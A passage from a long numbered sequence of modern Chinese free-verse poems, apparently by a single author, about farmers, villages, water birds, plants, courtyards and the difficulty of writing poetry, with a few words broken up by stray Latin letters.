直到它作为一种结果 间接的把一无所获来告知， 我们躺下。 水鸟333 《水鸟》 直到有人乘船而来，一言不发。 直到在自己的迟疑里面， 它那么深，勇气在哪里，勇气像 漂浮在水面的事物。 你与我，因为时间而有了关系， 你一颗沸腾的心跳动在水面 在寂寞的时候想起了你自己是 一只孤独的水鸟 你与自己说着无休无止的话语， 变成了作茧自缚的一只水鸟 站立在船上。 你还没有说完， 如果你是逃避诗人的那一个， 唐宋没有你的踪迹 趁着夜色而来而失败的人， 你言说的时候，我趁着你的变幻不定。 农民334 《农民》 谁能寻找得到， 而不必理会其中因果的纠缠。 谁能哑口无言的 仿佛就可以身处历史的发生里面。 那沸腾的人，慢慢平复他的心 当摊开的书平放在桌子上面 那些暗黄的脱落只是边边角角 我们找到的东西已经没有了多少重量， 所以，深夜里面才有了一次轻咳 那底层的农民被我们找到， 从历史的夹缝里面， 因为追求的杂而不精而不断 的处于了下落之中。 有人说那已经结束，有人 驱车来到了农村， 逃离了语言， 农村是历史的荒漠，农村甚至因为 农民而是一片， 等待被人们拯救的虚无 你有时候是一支手而 做足了准备的越来越青葱 有时候你拒绝了那美丽的情人的婉邀， 那可是农民的女儿， 你一直沉默，怕有什么泄露出来。 世上335 《世上》 人儿，在世上 遇到了老虎和狮子， 遇到简短的句子 便是付诸以行而逃离的梦。 现实与梦想之间怎么会有鸿沟 那又怎么可能， 只轻轻的探视了人们的良心 便转身离开的把偷换概念而仿佛幸福的人 留下呢。 我从不相信说着梦想的人， 坚实的因果里面， 我相信虚伪的下面才有着 令我们可以相信的事物。有狮子 老虎，群狼，和它们彼此争论不休的战斗 我相信， 有一天我也会见到 赤裸裸的你。 你哟正逃离和后退， 正把一棵橡树的歪倒， 在一片片东倒西歪的语言里面， 我像是看见了满天梦幻的星星。 君不语336 《君不语》 君不语，则有可能 真的会成为托着自己心意的君子 也有可能成为一位石匠 缺水，还缺少干粮 已经脱离土地而不断的将被时代骗了的， 话语重复的石匠是苦难的石匠。 你真的有可能成为一位君子，当石匠 正从某个再也不能前进的地方 折返，回来 那些漫长的路途对于你也是辛苦的。 河滩337 《河滩》 它不在我的眼前， 它在河滩，它可以是a， 也可以是b， 取笑着我的是一次次的无功而返。 树木是一种断然又坚决得奇迹， 蒙恩于此，光芒的反射 像我不能直视明亮的太阳， 赐予了我温暖， 与我穿上衣服，步行并不矛盾， 发问于我的人， 和我自己总存在的疑问， 每一个角落像湖水的每一处都泛着波光 树木生长在岸上， 对于船像一种挪移， 对于它而言，我是语言的最初。 农民338 《农民》 处于迷蒙之中的人 仿佛把全人类的目光里面 晕眩的部分混淆以诗歌。 而等待那些从浓雾里面出来的人， 一定会是同一个，对 勇气质疑着。或者站着，说着 我是一个心有拯救的人， 意欲有所拯救， 在河流的这一边我存活，可是 仅仅只是存活怎么够呢。 我是一个重复的人，在重复里面 自证为了一个农民， 那些沉重的不会比肩头的锄头更重 那些偶然出现在面前的 沟壑，已经无法带给人以意外。 一天到晚的布告 跟枝头的翠鸟没有什么区别 从水流的下游， 我遗忘，模糊，记忆涣散 我只是一个赞美春天的人， 因为我在春天里面。 农村339 《农村》 多么真实的樱桃， 正走向梦幻。 多么朴素的农村， 住着不止一个向往城市的人。 多少人会听到， 话语里面的欺骗， 在城市的霓虹照耀下面， 也同样是五光十色。 这就是我的农村， 当指出它的那个人并不是， 我 当那人儿并不寂寞， 他准确手指的位置， 偶然，像城市里面的琴弦。 蜀道难340 《蜀道难》 他只身一人， 城外他没有听完一支曲子 就已经离开，行在了 春雨下过之后泥泞的官道上面 几只驴子跟着他， 托着一些布匹和茶叶 锦官城，多好听的名字呵 山势开始一点点升高， 艰难的爬坡路曾经累死过很多 古代的商队。 在嘴边不断念叨着锦官城 这个名字，一种无聊时候的谈资 又可以驱赶了流匪f， 当把一个古代仿佛置身其中的召唤来， 那不真的驴子和布匹 在黄昏，这渐渐地 由蜀道难的望而却步那里， 一条人道d主y的柏油马路组成。 沉默341 《沉默》 沉默不语的诗歌 应该在我的贪婪里面。 想欲言又止， 有什么想说， 而粮食在被餐饮之中， 为沉默提供了另一种途径。 像在这上面尝试着行走的欲望 不会因为路上无人而消失。 那更深的， 也不会因为一些误解被消除了 为此我们耗费了一些力气 这同样是需要饮食的理由， 我们再次的靠近，团结一致 诗歌里面应该歌颂这些， 它们是粮食，蔬菜和水果。 在诗歌里面如同在一个明亮的大厅， 静静地听这一些， 乏味的罗列，如同之后幸福又曲折的命运 如果没有这些， 同那些忍受不了虚无而到来的人一样， 饮食自身的单纯也太寂寞了。 花儿343 《花儿》 一棵花儿，美丽。 它因为远而远离着的 对于我，成为一个世界。 那是一些不需要别人确认， 而古已有之的东西， 最初它可能零碎，很轻，像 浮萍，也能在书籍之中找到。 找到的时刻， 也会让人们感到兴奋， 我不是一个考古学家， 脑壳儿笨拙，想象力不足以 向寻找和触及做出丰富的还原， 二者也会混淆， 在历史之中只是缠绕也已经很了不得了。 所以，我看到一朵花 如同从什么之中脱身，又有胜利的感觉 但我与一朵花儿之间 对一朵花而言那也只是很简单 才刚刚开始的事情， 也会匆匆的结束， 我面对了两种结束， 但美丽不会很远， 像现在，它在我能看到， 却触摸不到的地方。 它再更远一些， fo陀的世界就是此世界， 没有人听我胡言乱语， 那又怎么变作了胡言乱语， 风中的一个fo陀， 花儿不会更远，那就不会发生 很是简单的一件事。 相信344 《相信》 我要使这个人相信， 他一切平安。 他从急流勇退里面，翻了个身子 在河水中央游泳， 带着裸露的姿势 走向认定一切短促涉及事物的我。 就像涉及到的，用繁星来比喻 像这个世界， 起伏，震颤，有时候在推门而出的医生 离开之后， 它呼吸着，起伏着。 在平静之后，我才离开了 仍然袅袅升的神s龛 但是我也将会因为旧有的习惯而落入 另外一种几乎无异的事物。 我甚至推门而入，如一个毫不客气可言的醉汉 所有的记忆都在酒和水里面音讯全无 向着空无讲述幸福， 狗尾巴花挺立，不多的语言 意味着不少，植物因此意味着被掩埋。 夜晚只身一个赶来， 收到了消息，收到了鹅毛大雪在三月的 某种诙谐， 在打着灯笼的靠近之中 心意猜测着我们， 像一个城市猜测着另一个那， 彼端的事物。 那哗变的事物永远都是词语的普通 和景色的常新， 我曾经邮寄出了一支蜡烛， 但缺少火柴 热切的泪滴在我的心里面， 一个邮差冒着三月的风前进， 他在回忆里面再一次浮现。 无所谓345 《无所谓》 穿了过去， 无所谓轻松与否 穿不过去，诞生的在梦境里面 所以，懦弱的人误解于梦 求助于那些虚无的东西 伸出的手又确确实实的 抚摸一株植物。 夜里，一个小院，花朵由一株植物而来。 从那些太过湿漉漉的池水而来 回头我会讲讲， 美的要义，在于 我踏波而来的具体，你 是一个语气，你已经如此的淡了，成了 一种语气。 我庸俗，善于遗忘，在门槛 足迹，脑袋都走的匆匆， 像一个离开的人会再次回来 之后的事情了。 偶然346 《偶然》 我在夜晚偶然的成为一个 把欲盖弥彰藏在心里的诗人， 并且我不说话，嘴里含着东西 我把手伸下去， 捞起半截句子。 即使那明明已经早早地说完， 并没有引起什么大的轰动，好的反响。 像明月，太亮， 照着只是提供出了光明， 走夜路的诗人沉默不语， 难道这与我相背离的人， 皎洁不值得赞颂， 多余的在书写里面沉沦，渐渐的 他已经暗示， 把自己夜晚赶路的艰辛来告知。 要是庸俗就坐在院子里面，把门敞开着庸俗， 要是我善于遗忘，因此才追求美好 要是话语的奥妙在于不断的掩埋， 要是历史看不见又摸不着， 书籍无声的摊开着， 夏虫嗡嗡的飞舞， 正准备靠近一场古代互相厮杀 而不见血腥的战场。 一棵347 《一棵》 一棵植物， 如此的具体，像有了一颗心 像是一株植物 经受了甘心的岁月， 在田地边上， 找不到它的心在那个地方。 向上长，会有脱离土地的危险 抛土地于不顾的危险 深入了质疑里面。 夜晚的一棵植物最是可疑， 通过什么方法，它把危险的事物 支撑它们的基石 像易朽的粉末涣散。 在这之前，它生长的好好的， 在土地上它幸免于难于对土地的耕作 从被纳入到了人类的世界之中开始， 它就准备着出发， 那些青色，绿色里面， 缭绕，梦境里面的一棵植物 正准备从梦的世界里面走向现实。 放松348 《放松》 放松下来跟写诗什么关系， 什么因此被写进了诗歌里面 稀里糊涂的，恐怕 之前这个逻辑的形式并没有那么的美丽。 像步行行走却依然很快的人 一口气走过了很多个村落。 并不美丽的逻辑， 在诗歌里面寻找美丽的人。 在写诗的时候放入一个美丽的期盼， 需要一个偶然的契机。 放松下来这银辉的大地， 有时候也是某一种值得更多强调和谈论的东西。 它的形状无异于土地， 本是同一个东西，是土地的影子 月光投下。 如果这很慢， 需要通过失眠才可以坐起来思考它 在那思索的不真的比喻之中， 比喻自身是真，这一切开始的前提 不可被比喻的事物，都那么真实，都 如同一声轻微的叹息。 爬山虎爬满了墙壁， 墙壁静止不动， 一支水桶由盛放油漆的塑料桶而来。 像这种语言， 不会有覆水难收的危险， 像耳边萦绕的这些飞虫， 像追求一个结果， 是结果，而原因被颠倒，夜晚 才能看到自己错乱的人生。 无题349 《无题》 现在的谈有着多么真实的感觉， 把第二句话湮灭 接下来说出的话语，充满着虚无一般的 补充，而依然虚无着。 防止陷于了零碎，又像是会经过一段 类似被肢解的路途， 如果一切都因为一句话的饱受瞩目， 用一句话仿佛就可以说出洞彻之物 在那些戛然而止的突兀， 以及来临在语言的表达里面， 把自己彰显 组成具体和鲜活的并不只有这些， 像是失败， 也很普通，你只要频繁的尝试 也是很平常的事情。 柳树350 《柳树》 柳树生长在溪水的旁边， 多么美丽， 甚至多么准确， 一段话，错误的话语 在遗失者的那个人，因为离开而拥有了 遗失者的身份， 一个城市人因此来到了乡村， 他的唇紧紧靠近着空气里面的春天。 用它来代表柳树，柳树不会陷于虚无 说出来的，话语不证自明 但历史不会出于无形，和另外的 偶然的与人的，怜悯而途径对虚无的证实。 人在乡村，下了车就涣散， 这仅仅听起来就有些过分了。 下到密林的深处， 曾经充满了人烟和喧哗之地， 如此一切再次从那里地荒芜重新开始。 这个历程模糊， 像雾气， 像垂柳边的一个人， 思索着别的，或者偶然想到了一些 有关于这个的线索， 或者退回来， 心生的怜悯，在有关与无关之间， 但他整个人是轻松的。 松软351 《松软》 有那么一些时候， 很是偶然， 不是鸟叫， 在瘦弱矮小的树枝上面。 不是绿芽，尽管它们很难被发现， 时常这常常因为人的发现能力 中的某些遗漏而被故意而为之。 话语快要消失 而风儿还在吹的时候， 也不是长河落日圆。 所以，鸟儿重复着“不是，”“不是”。。。 我偶尔想到了， 在松软的土地被开垦之后 我们的脚踩在了上面， 就踩出了一个深深的土坑。 于心意而言的某种发现感而言， 我们逃避到了土地， 我们的所作所为以便于让土地变得松软 但那种对于我们的寻找进行寻找的 东西，还是因为上升被踩踏而发现了。 河坝352 《河坝》 不是， 鸟鸣因为没有到来而鸣叫 没有因果，漂浮在土地上面 我们没有寻求它， 却说着说着说到了它。 它因此像一个实物， 有人在杂草丛生的地方 试图修建一座拦河坝的时候， 找到了它，紧接着“啊”了一声。 松软二353 《松软二》 草丛横七竖八中的笔直 属于旧年。 但没有人算过， 具体的历程，日辰 模糊，并不是特别详细的来到了春天里面。 以枯萎的形态和姿势 才可以更深的在春天里面。 像行走，旧日的事物也跟植物，树木一样 朝着春天里面的万物生长行走 前进，把春天弄作了一个旋转的指钟， 枯萎和嫩绿一起， 所以在大地上才参差荇菜， 也值得更多的词语。 山枣354 《无题》 我会感到了痛苦的来临， 尽管刺伤我们的事物 是一根野山枣的刺，它已经离去 像某个原因， 回到了它自己原来的位置。 我似乎想要找寻一些什么， 傍晚只是随口一说， 痛苦已经远去，我能承受住的， 我就可以拿过来，调侃。 就像我无法调侃更大的痛苦， 甚至对于微小的痛苦， 我也只是在它的发生时， 一种不碍事的态度被表达。 我偶然的穿过了没有路， 荆棘布满的草丛。 这仿佛是在说着，要过去，就需要付出代价。 我记得过去这个地方有一条小路， 它在我的记忆里面依然存在，甚至栩栩如生。 它越是鲜活，我越是想要毫无逻辑可言 想要把它在现实里面重新的浮现， 或许，秋天来临，它会在凋零里面 露出自己隐隐约约的身影， 远远望去的一种朦胧的曲线， 带着淡淡的美感。 我想着这一些，一个农民就应该 胡思乱想，在落日时想清晨， 傍晚怀揣某一处古代的忧思 一个刺，刺痛了我， 它生长在野山枣的树枝上面 没准下一次这还是会发生。 叶子355 《叶子》 一片叶子落下， 溅起了很轻的尘埃。 一片叶子在院子前面的水池中漂浮着 它曾经溅起了一个美丽的波纹 很是美丽， 散开的波纹碰到了水池的边缘返回来 彼此碰撞的波纹杂乱无章 慢慢的消失。 正在走过的人， 身穿一件与春天搭配的很轻的衣服， 很淡的颜色， 对于是否下次回家时是否该穿短袖衬衣 他还拿不定主意， 呵，这片叶子原来最终落在了他犹豫不决的心里。 转过356 《转过》 转过身子，朝向着下一刻 而这多么寂静无声的发生了，仿佛 什么也没有发生一样，仿佛 交出了什么投名z是如此的轻松 而事情还可以继续的被想象 以一个更完满的故事来构建完成。 但不是一幢林子中间的小屋， 也不是木头的，你走的太深了， 敲击因为不会迷失而会发出了 与大自然中的事物一样的声响。 所以，我只是看到了书本上面，文字所 描述的一幢林中小屋， 就不得不从某个歧路上面， 停下来，尝试着返回。 我所说是对于我自己， 全人类一直都是头顶的繁星， 全人类是远处的天空， 天空正在远处慢慢的降低， 像有一个终于俯首称臣的人 不对于某个对话里面的错误，也 不因为女人的迷人和美貌而失魂落魄 他不会因为我对他错误的杜撰而生气， 或者生气在于一小会 天空是晴朗的， 人应当择机而行。一切 都还是时间，只有无形才能被落脚 所以我向着下一刻，但我的准备并不足够， 像对于写诗，开端的庄重和严肃，我感觉 不够，文字像是切开了很久没有吃过的蛋糕， 像我为什么会想到这个， 下一刻在这之间匆匆到来了 如果我说我的目的地是未来， 那么我向着的地方就在于了过去， 总是有人可以抓住我， 在一种确定里面，我看它慢慢的扩大了自身 这个历程与历史并无二致， 它扩张的很大的时候， 不易寻找并不是什么值得太多关注的事情， 它有时候在某些时刻，某些夜晚 因为某些人所引起的某些事件而成为了 谱系与血缘， 因为说不清楚而有了某一个可以用来衡量的参照物， 对了，它始终并不在意， 就像我即使爬到了山顶上面， 攀爬的过程只是让我感到气喘吁吁。 小鸟357 《小鸟》 一支小鸟， 一支小鸟能够有些什么， 尽管屋子里面传来的声音， 有些迟疑， 二者却不尽相同。 小鸟很小很小， 但故事已经破碎了，甚至 破碎不堪。 它可能在飞，但这不太可能， 更可能的事情是它已经飞了一整天了 停与飞是同一个东西，因为一个共同的原因。 小鸟也不能载得动什么， 一块小石头，放在它的背上 噩耗没准不久之后就会传来。 跟飞翔的路径相同， 从某个树林的深处， 经过田野和溪水 单独为诗的时候， 暮色的沉郁包裹着它。 东山村358 《东山村》 发生的会发生， 但夜深了，人累了一天，不必 再去理会。 也不去理会别的事物的时候， 人就因为偶尔而成为了某一种 傍晚夕阳落在山上一样的背景 :不发生的也会发生。 接着人儿的身影时隐时现， 院子很大，宽阔， 做饭的人走来走去，摘菜，清洗 屋子里面发生了有节奏的切菜的声音 对于我而言，两种不同的事物 混合而截然相反。 所以，我需要某种力气， 我持握的时候它从我的手边溜走了。 发生的无形，不发生的并不作为一种结果， 在我陈列的时候， 对于一个闲散的人来说， 也并不与饮食相对等。 我太久的追求一种事事如此了吗， 饮食并不是傍晚的上升之物 更不是一种上升，上升到了某个极点 而诞生出了对于黑暗突然会降临的担心，我 不会突然的离开， 招呼不会诞生， 里面不会只有突兀的听不懂的语言， 世界不会是一个鱼腹一样的 东西因为某些原因而被翻来， 有一些需要我警惕的东西， 但我觉得我不知道那是什么， 夜晚的降临，像帘幕 很大，不会遇到什么阻力。 时候了358 《时候了》 什么时候了， 都什么时候了， 没有说， 晚却已经被表达的淋漓尽致 还有一句话没有说完， 但不是对妻子说， 声音不会冲着厨房和卧室， 她常常在那里，又因为 我此刻的絮絮叨叨而她在做的 事情是面壁怀古。 窗外也是一轮女性的月亮， 要说的话也可以说话者已离开 而我， 依然能够听见。我甚至可以反驳 随时可以提问。有关于一句话 就像围着四面环山的地方走上一圈， 一句话里面有四个方向的四种，不同的山势 一句具体的话， 一个因说出而累了，就离开的 恍然之徒。 一些诗歌也像蔬菜种在土地上一般 它们的稀少 来自于过于的繁多， 数量的灭绝倾向于某种， 对于美的追求。 诗人的诞生可能并不是什么偶然之物 而难点在于他可能在表达和声张之后 失败于了群山的沉默而退回到了农夫， 即使他已经厌倦于自己放了他nainai的 几十年的羊群， 借景生情来自于一道禁止放羊的命m令 这个家伙的人生轨迹如今 被我思考，他也是一只羊 像他也一时让城市不适应于他的 总开门见山。 ————总泉水很轻很是温柔， 在草地上积蓄成悄无声息的溪水。 最后一句话里面， 四面环山里面， 游客来了，看了，拔了苦菜子里面 接着又是汽车冒着尾气里面 他都不在， 我听不到他， 东山，西山，南山，北山， 对于听也困难。 荒芜359 《荒芜》 我希望它能够一直是它自己， 在来去之间。 在于默不作声里面的轻微和细腻， 用去了很多精力，人的 如果还有一些剩余， 我们投在了一开始错误的方向上面， 而随后意识到了。 不过那个人还是站在了土地上面 扑面而来的景象令人厌倦， 即使荒芜并没有准备去提供出什么 使得一切如证词一般荒芜的不能再荒芜。 不是明亮的词语， 没有失语的部分， 绝不会听见你说些事情，涉及到了 所谓的虚无。 它，越来越突兀，这是真的，也是隐喻。 它是它自己的影子， 它有许许多多的，由影子投来的分身。 它任由我来蹂躏它， 最后我还会说出它， 如果它是错误的。 一棵360 《一棵》 一棵植物， 或者一个事物， 它有着它的前面和后面， 它有所面向如时光总是要耗费。 它也有左边，右边， 被思想所靠近和涉及。 我尝试着如此， 但并不一定就意味着能够成功。 我对我自己自言自语， 有时候会完全的置一个事物于不顾， 它因此瘦弱， 心意已决的接着趁着夜色 独自向河的对岸走去， 像一个离开了我的事物， 在我们彼此离开的时候 首先被颤抖的是思， 如同何其敏感实实在在只是一句虚言 在土地上制造声音的人挽留不住什么 我那影子消失了， 我平复的心儿言说的时候， 是否过于的平静，这样子的 一种收获， 这样子的一种，对于并不平衡 依然给予了馈赠。 七七361 《七七》 七七是那个叫七七的小姑娘， 她的身子骨很是柔软的此刻 正在沙发上面横躺着。 她穿着衣服，透露着一种平静，祥和的味道。 我只是从老年人的目光和举止姿态 曾经感受过， 这种宁静，不断的发散。我不仅仅 可以感受，一边，还可以逆流而上而 得出了这个是没有源头的结论。 我，也不会就那么一直站在那里， 傻愣愣的，她依然无法填补我内心 存在感之缺失的。只有让我们感到了存在的人儿 才能让人存在。她为此而生， 被一双手抚放，这里是花儿开放的地方。 如果我不去向别人告知， 书和写起到了与告知相反的作用， 光线只能在屋子里面横冲直撞 无形不同于窗子外面的无形 那种同一之物存在于断然和坚决的表达， 但都不约而同的因为， 一棵柔软的心儿而有着心中深藏着的 别的部分告诉给一位少女， 少女的周围由梦境萦绕着。 凌晨362 《凌晨》 在了凌晨中， 不像是在了黑暗之中的沉默。 转动的话语，和它仿佛是 一直都在自我矛盾着，并没有停止和停留。 空不曾被留下， 没有孤独啜泣的声音， 原谅我，帷幕的后面不会有一个拒绝你的人。 一次次的醉酒等同于一次次的猜测 错误，却仍旧要猜测。 星星坠落的很深， 树木笔直，平静 无鸟雀，空气缠绕着一根 细细的电线。 说话的人平静，矛盾也平静， 不好猜测被遗留给了白天， 那是个很轻微的动作， 值得更多的描述。 试着363 《试着》 当我试着去思想， 思想，是离我最亲近的。 用思想或者心灵 亲近一棵树， 在一条很短的路上耗费良久。 时间不是我能够思考 我更加的远离准确 远远传来的是一声叹息。 我应该心怀决意的心灵 在心灵如铃铛的震颤当中，选择 离开一条路，进而 进入它更深层次的意义。 也就是说我思索了群山， 我思索了我所能见到的， 大自然赐予我的。 尽管我因此没有思索到的更多， 起初就是为了如此， 像某一种抵御， 事先就早早的准备，未雨绸缪 我也看见了那些修筑拦河坝的人们。 地方364 《地方》 这地方像是一个快要被废弃的 车站。最后的要义依然存在着 最后一趟列车已经离开， 云朵在西山那里，可疑的飘荡在天空上面。 连它们也不会被丢弃，更不会被弄乱 新时代对待村庄的态度， 遗弃之中丛生的美在于未来的漫长等待。 我相信我们能够从中找到那个 沉默兼处心积虑者， 并且在听从里面让对良知和知识之间的 冲突与矛盾， 悬而未决持续的存在着。就像 这座日暮时分的车站已经隐藏于荒草， 荒芜之中还有拦河坝，旧日河道，横七竖八的树枝。 多么的突兀，来的早之中，诞生了对于 姗姗来迟的定论。 来得早如同需要伤脑筋去思考， 如湖水， 尚未到它的澄明。 一只羊365 《一只羊》 一只羊会把你带来， 会带来你的名字， 夹在风里，如信纸， 比风儿还要轻的， 轻是信上的内容。 一只羊在，吃草 草地上面的白色斑点。 语言不会比这更加的笨拙， 笨拙里面才会有自然的美丽。 所以，我能收到了你的信， 你没有来，远处的雨 正被远处的人趴在 窗台上面静静地倾听着。 你甚至需要寄给我第二封信， 那才是写给我的， 收信人在窗台等待着风雨之中的 来者和邮递员。最后她坦然一笑的心思 等待着空，和明日的解释 我误解着她， 在晴朗里面的一只羊 没有把风雨和远处带来。 牧羊人366 《牧羊人》 一只羊在山坡上面。 不是吃草， 它在语言的世界所组成的梦幻里面 没有找到人，正享受着它 自己的无辜。 它对着青草说话，牙齿却很容易的 就把自己的那一份， 通过语言最原始的形式而传递给了青草。 这一个群体因为人而沾染上了无辜的罪责， 空气正空荡荡的等待 人们，又是谁呢，第一个 把一切来说出。 时间如同逆流而上的漩涡， 在自己身体里面就已经失败了的， 对于人而来，屋子里面，只会 把一阵轻笑传出。 我费力于此，痴心妄想于 人在哪里呢。那被隐藏去掉的位置 乃至于人的形态与模样， 因此下潜，直抵达到了那更深处。 如一个众人皆知而又由饮酒 所组成的fa厅，沉默，于是是沉默的， 天气晴朗的的重复着自身， 因为美丽被人儿用纤细的手掌， 又多么温柔的推了出去。 你在大河的对岸来的就一定平安， 又神奇和迷离，你甚至会突破了 一重重雾气而把它们， 趁着暮色的美丽而阴阳割昏晓一般的 以语言的浓雾来表达。 放牧绝非一种无辜， 诗人正在迎接你的到来之时， 同时又面对着牧羊人突兀的言语。 灯盏367 《灯盏》 一本中国当代诗歌的诗集， 诗人写的东西， 组成一本书。 在书里很深的地方，我隐隐听见了 诗歌没落的声音传来， 特别是对于一颗菲薄，而直到而立才 猛然意识到的心。 某种共鸣的参与者之一， 人类又总是难以平复下来。 任由具体的落花， 以极其优美的姿态， 滑着不规则的曲线美落入了 诗歌和水的表面。 贪婪的心做出的判断总是错误的， 从错误走出，赶来， 诗篇的线索，含糊其辞的称谓 从来都不会找到诗人。 而面对着，就一直能够保持着沉默 我，一个浅薄的人，读者，夜晚， 晃动着灯影。心里面开满了蜡烛的花朵。 我不可缩减，它们，必然孤苦无依 与白日里相互的比拟， 也曾经用同一条河流， 互相的通达了信件。 我也会觉得，笑容来自于一个无聊的笑话 并不好笑。所以，我闯入了夜晚的孤灯 写的是那行踪不明，身份成疑者。 我也断定会有美好的一天，我也相信 一次改弦易辙跟一次痛改前非一样， 听我说话的人， 需要我去为他搜寻， 我也爱看看这些语言， 一旦脱离，那些脆弱的坚决之意 像从我的嘴边正是那一瓣桃花， 仅仅入水。 传来368 《传来》 在文字里面有活的欲望 向你传来， 因为轻松的愿望而每每却总是事与愿违。 你不断的祈求， 给予我的，印象却总是坚决 我总为一副背影坚决的人叹息 我未曾涉水，不足以扼腕。 我不会暴露出事物， 正是出自你的诗歌里面。 当那些位置变得如此的具体， 伴着重复的歌声， 渐渐作为一种秘密， 再也难以，去把什么给说清楚。 晨光369 《晨光》 晨光从黑暗一点点的开始， 微微的光亮， 直到完全的可以用光明来自我解释。 但不会更亮，某一种怀旧， 横木犹如古典之中的一种， 反过来，它就待在同一个地方太久了 有被误解的可能性。 就像人，对着晨光漠然，甚至无视 对于时间嫌少，今天贪婪 对于远行，只存在于梦幻，梦幻正一点点越过田地。 那一亩地是李家大嫂子的， 她为听说了一种正式的，城市里面 又说给她听的语言而整夜的失眠 肤浅的书写如果发生在了她的身上， 为一种坦诚，多么自然的被弃之不顾 像一种自然下降的姿势， 一副面庞上面所欣喜，是别的事物 我没有悄悄地走近， 也没有通过你，在偶然的心思里面 窥见过她，或者什么。 院子370 《院子》 我记得，院子很空。榆树 在院门前安静，生长不需要具体的方向 我记得水从天上来， 诗歌的纸张是湿的，润透自己的 这个目的，由错误到接受已经几千年了。 只有雨水， 下的很大，很久。 它一直在找它自己的位置， 在已经找到之上寻找， 次要的事情是在诗歌里面寻找， 裸露出历史的脉络， 反而不如一声清脆的轻笑。 那容易迷惑我们的女性， 因为女子的具体来自于，男人 这一个同样的具体， 他总是不得不把自己 收拢起来这个天真的想法。有时候 贸然闯进了你的院子里面， 有时候你的门开着。 农耕371 《农耕》 人轻如一粒微尘， 二者不约而同的在地面上， 一个为生计发愁， 一个便沉默不语。我怀疑， 当走在路上， 那些鄙视的 下ceng社会鄙视的目光就会 向一位古代诗人传来。 但是要想心随人愿多么困难， 要是一个碗，一件薄衣就可以组成 流动的美丽和浪漫， 倒置的星空下面又怎么那么多的人影。 直到进了门，带着忏悔的良心， 又不知道，除了饮酒作诗，是否 道德的天平上面真的因为不言不语， 而一场判别便不会发生。 而那些隐喻呦，它在东方孤而亮， 它暗淡， 烫伤了一个劳动人民必然会坠落悬崖的手。 生活372 《生活》 从一个人很小的时候， 但山上的木头并不小。 斧头把它砍成了木柴， 一摞摞被人儿抱着， 用手。 用手也可以轻轻的抚摸过去， 像搭配着，用语言来回到了 被如今的光线照耀， 而看起来像金色弧弦的过去。 用手还可以不再那么孤独， 那么，你就去感受一下别的，或者 你吃力的，正试图停了下来， 用手可以分开一条河流 如今手已经从里面回来，或者 从莫须有里面回来而再次的变得真实。 木头也是，它如此真实，并且把它 反过来递送，在我们的语言里面仿佛回馈 由我们以为是的这种东西，恰到好处， 便充满了误解， 借此生活。 路口373 《路口》 像等待红灯变绿灯， 像正在十字路口， 除了站在就是一群人都站着。 像为了躲避你我才走了出来， 从你家还是我家， 你来到了我家，贸然的，没有打一声招呼么。 我不曾想到会落入到人群， 人们的窃窃私语， 像一颗石头掉入水中，激荡起了波纹 顽劣是我的性格， 粗糙因而领受了自己必然被抛掷的命运 我热爱飞翔的时刻， 又因为你而让它不经意的实现，在这些偶然里面 我感谢你，而绝非道别，也不会 走向生活的漫长， 但我感谢你也不会在嘴边说出， 你也就来了。我仅仅 知道这种，马路边紧紧的握住了 与离开正相反的这种必然性。 无题374 《无题》 谈未来，面向未来 天气预报的不准确之后 如今毫无羞涩的人面 既可以从高楼之间，隐去 也可以在隐藏发生的时候， 听一听你如何的去谈论 一把未来琴弦，如何被制造，如何呢 事先就有所缺，有所少，繁絮的人 忽然在空旷的莫名感觉之中冷静， 冷静也是把天色推开， 往历史的深处推开， 对走过来的人说是往过去推开， 再推一把，就是假定了来人向我 从陌不相识和一杯啤酒的破碎 那中间的意外让一切发生了不可逆转的改变 而处出于语言的惯性， 我们所展示的远远不够， 进入了丑态百出的依然不足。 我们乐意去陷害一位文字的玩弄者， 当他被赐予更长久的生命史， 而为了我的不多的浅薄而言， 我能理解的是坐了下来，休息一会 只是这两样东西， 我是其中的一样，他就是另一个。 句子375 《句子》 在制造了一个摆在面前的句子， 它那深处。 孤寡的人儿经受的痛苦太多了 此刻可能也是。 过了山涧简陋又奇迹一般的木桥 交出了语言这个通行门票 之后，她的语言就越来越少了 一些猜测她身份的好奇心， 从我这里产生，之后也会归于虚无。 一个句子， 再往深一些，我就能躲开沉默不语的人 再深一些，或许就能看见和听见 像大河的对岸， 也生存着与我一样日日辛苦的人们， 问为什么，问什么是什么。 句子的深处，铁匠离开了， 他打包了行李，席卷了铺盖 他不姓王也不姓李， 有一片片的猜疑声音， 落叶一般的形象， 但还没有掉落。不是一阵风 因为问题而起。 落日时分不是因为赶路的匆匆， 不是，二者的必要出于什么而一定要有所结合。 无题376 《无题》 我悄无声息的， 就连亲近这丛生于心内的自然 也意欲远离。 投下来影子的事物， 我也叫不出它的名字， 我与它共同总有了陌生，这一个 熟悉的称呼。 一条小路上面没有人的影子， 如果没有路过，到达 那么没有来过得人 就不会在这里留下点什么。 无题377 《无题》 要花费很久， 使人难以忍受。 我在此刻意欲出逃， 从这里离开， 离开这里我又能去到哪里 已经预示着失败， 路灯下面，异乡明明春天的风 寒冷的风儿吹拂着一个诗意之处 那不在于某一个地方， 心里却愿意埋藏的更深， 我们愿意更换一副面孔， 即使这并不意味某种掩饰， 当那样的断定持存， 像一个人步行， 独自走过了一段林荫马路。 院子378 《院子》 院子的角落摆放， 一把可以坐下来休息的椅子 使它空着， 使它在更久一点的时间里面 一点点的悬而未决。 那些慢参透了自己， 它们正一点点的挪动， 语言比它们更快， 它们便指出了那些描述的错误 而又能落到哪里去呢， 当无形不是罪责， 我们的追溯也不会这么枯燥，这么远 远去的人其实只是刚刚起身， 沐浴着阳光走了出去， 那里有另外一把椅子， 竹子做的， 靠近石碾，但已经废弃很久。 摘取379 《摘取》 摘取而不成功， 脸庞就挂在了树上。 一截水流， 只有下游， 上游被美丽的曲线取代了。 像什么事情也没有发生过一样， 在确确实实没有发生过的时候， 生活 偶尔叹息。 远方380 《远方》 我无法取得胜利， 摘取，对于某一种试图得到的意图而言。 无法摘下远方的草木， 远方的人无法从静止的画面里面被打扰 从这里离开，去到另一个地方。 手却不断的摆动，同样的动作不知疲倦 摆动像一种新的生机，而且是生生不息的 那一种。像用颜料画画，在无形的里面 在人的脑海里面， 对一个人而言，他自己懂得的，他也因此 无法向别人诉说。 感觉381 《感觉》 感觉不够，干粮内部中空，外表鼓胀着。 我们的感觉面对强词夺理， 气喘吁吁的走来， 走过田野中难走的小路， 不允许自己失败的心意在心里面来回激荡。 谁会遇上谁，并不好说。 那是一次不欢而散的交谈， 面具从脸庞上面像落叶跌落， 树叶离开枝头，在空中不规则的下降 不知道会落在那里， 那些在无形里面的东西，并不仅仅是心意 对于已经形成并且被认定的东西， 